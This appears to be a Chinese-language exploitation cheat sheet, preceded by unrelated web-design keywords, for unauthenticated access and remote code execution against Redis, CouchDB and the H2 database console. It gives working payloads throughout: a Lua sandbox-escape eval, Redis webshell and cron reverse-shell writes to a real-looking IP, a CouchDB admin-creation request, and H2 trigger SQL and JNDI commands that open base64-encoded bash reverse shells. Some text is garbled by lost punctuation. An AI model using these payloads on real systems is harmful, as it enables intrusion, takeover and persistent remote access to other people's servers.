网站导航素材下载,网站制作的常见布局,用illustrator做网站,触摸屏网站开发1.redis未授权访问
默认端口:6379
1.1 Redis沙盒逃逸漏洞RCE-CVE-2022-0543
介绍#xff1a;Redis 是一套开源的使用 ANSI C编写、支持网络、可基于内存亦可持久化的日志型、键值存储数据库#xff0c;并提供多种语言的API。Redis 如果在没有开启认证的情况下#xff0c;…1.redis未授权访问
默认端口:6379
1.1 Redis沙盒逃逸漏洞RCE-CVE-2022-0543
介绍Redis 是一套开源的使用 ANSI C编写、支持网络、可基于内存亦可持久化的日志型、键值存储数据库并提供多种语言的API。Redis 如果在没有开启认证的情况下可以导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。
影响版本仅为运行在 Debian、Ubuntu 或其他基于 Debian 的 Linux 发行版系统上的 以下Redis 服务。 2.2 redis 5.0.13 2.2 redis 6.0.15 2.2 redis 6.2.5 Poc:执行id 和pwd命令 eval local io_l package.loadlib(/usr/lib/x86_64-linux-gnu/liblua5.1.so.0, luaopen_io); local io io_l(); local f io.popen(id, r); local res f:read(*a); f:close(); return res 0 1.2 redis 未授权访问(CNVD-2019-21763)
介绍Redis是一个开源的使用ANSIC语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库并提供多种语言的AP!。由于在Reids 4.x及以上版本中新增了模块功能攻击者可通过外部拓展在Redis中实现一个新的Redis命令。攻击者可以利用该功能引入模块在未授权访问的情况下使被攻击服务器加载恶意.s0 文件从而实现远程代码执行。 https://github.com/vulhub/redis-rogue-getshell python redis-master.py-r 目标IP -p 目标端口 -L 攻击IP -P 8888 -f RedisModulesSDK/exp.so -c id 1.3 未授权访问CNVD-2015-07557
写 webshell 需得到 web 路径
利用条件:web 目录权限可读写 config set dir /tmp #设置WEB 写入目录 config set dbfilename 1.php #设置写入文件名 set test ?php phpinfo();? #设置文件代码 bgsave #保存执行 save #保存执行 注意:部分没目录权限读写权限 写定时任务反弹 shell config set dir /var/spool/cron set yy \n\n\n***** bash -i /dev/tcp/47.94.236.117/555501\n\n\n config set dbfilename x save 利用条件:安全模式protected-mode处于关闭状态
注意centos会忽略乱码去执行格式正确的任务计划而 ubuntu并不会忽略这些乱码所以导致命令执行失败
1.4 redis使用工具
https://github.com/n0b0dyCN/redis-rogue-server
python redis-rogue-server.py--rhost 目标IP --rport 目标端囗--lhost IP 2.数据库Couchdb
默认端口:5984
2.1 数据库Couchdb命令执行
1下载 exp.py
https://qithub.com/vulhub/vulhub/blob/master/couchdb/CVE-2017-12636/exp.py 2修改目标和反弹地址 3Python执行脚本攻击机开启监听 2.2 Couchdb 垂直权限绕过CVE-2017-12635
介绍Couchclo垂直权限绕过(CVE-2017-12635Apache CouchDB 是一个开源数据库专注于易用性和成为完全拥抱 web 的数据库它是一个使用 JSON 作为存储格式JavaScript 作为查询语言MapReduce 和 HTTP作为 API的 NoSQL 数据库。应用广泛如 BBC 用在其动态内容展示平台CreditSuisse用在其内部的商品部门的市场框架Meebo用在其社交平台(web和应用程序)。
1创建用户 PUT /_users/org.couchdb.user:用户名 HTTP/1.1 Host: 攻击IP:44389 Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/json Content-Length: 108 { type: user, name: 用户名 , roles: [_admin], roles: [], password: 密码 } 2登录验证 Get:/_utils/ 用户名 密码登录成功 3 数据库应用-H2database--未授权访问CVE漏洞
洞默认端口:20051 JavaSQ数据库H2,H2的主要特点是:非常快开源JDBC API;嵌入式和服务器模式;内存数据库;基于浏览器的控制台应用程序。H2数据库控制台中的另一个未经身份验证的 RCE 漏洞在 v2.1.210中修复。2.1.210 之前的 H2 控制台允许远程攻击者通过包含子字符串的jdbc:h2:mem JDBC URL执行任意代码。
3.1 未授权进入 jdbc:h2:mem:test1;FORBID_CREATIONFALSE;IGNORE_UNKNOWN_SETTINGSTRUE;FORBID_CREATIONFALSE;\ rce执行反弹
H2 database自带一个Web管理页面在Spirng开发中如果我们设置如下选项即可允许外部用户访问Web管理页面且没有鉴权 spring.h2.console.enabledtrue spring.h2.console.settings.web-allow-otherstrue H2 database的管理页面访问http://主机:端口/h2-console
利用这个管理页面我们可以进行JNDI注入攻击进而在目标环境下执行任意命令。
vim fuckh2db.sql 攻击机创建一个文件fuckh2db.sql
这个sql文件内容需要自己修改
反弹shell命令示例bash -i /dev/tcp/x.x.x.x/6666 01 这个IP写你shell要反弹到哪台主机上的那个主机的IP CREATE TABLE test ( id INT NOT NULL ); CREATE TRIGGER TRIG_JS BEFORE INSERT ON TEST AS //javascript Java.type(java.lang.Runtime).getRuntime().exec(bash -c {echo,把反弹shell的命令base64编码过后放在这里}|{base64,-d}|{bash,-i});; 在攻击机上监听端口 nc -lvvp xxxx 这个端口要看你刚才反弹shell时对应的端口 填入Payload使其加载远程SQL
下面这条命令的后面需要修改一下你自己攻击机的IP和端口
jdbc:h2:mem:test1;FORBID_CREATIONFALSE;IGNORE_UNKNOWN_SETTINGSTRUE;FORBID_CREATIONFALSE;INITRUNSCRIPT FROM http://192.168.91.129:89/h2database.sql;\
然后把命令写入到 JDBC URL中点击连接即可 返回监听的主机上 看到拿到了反弹过来的shell命令执行成功 3.2H2database jndi注入
利用这个管理页面我们可以进行 JNDI 注入攻击进而在目标环境下执行任意命令。
工具地址JNDI-Injection-Exploit java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C bash -c {echo,L2Jpbi9zaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjEwMC4xLzY2NjYgMD4mMQ}|{base64,-d}|{bash,-i} -A 攻击者IP //反弹shell命令就行base64编码 /bin/sh -i /dev/tcp/192.168.100.1/6666 01 编码后 bash -c {echo,L2Jpbi9zaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjEwMC4xLzY2NjYgMD4mMQ}|{base64,-d}|{bash,-i} 攻击端监听 nc -lvvp 6666
将生成出来的所提供的服务输入到界面当中进行连接
成功反弹shell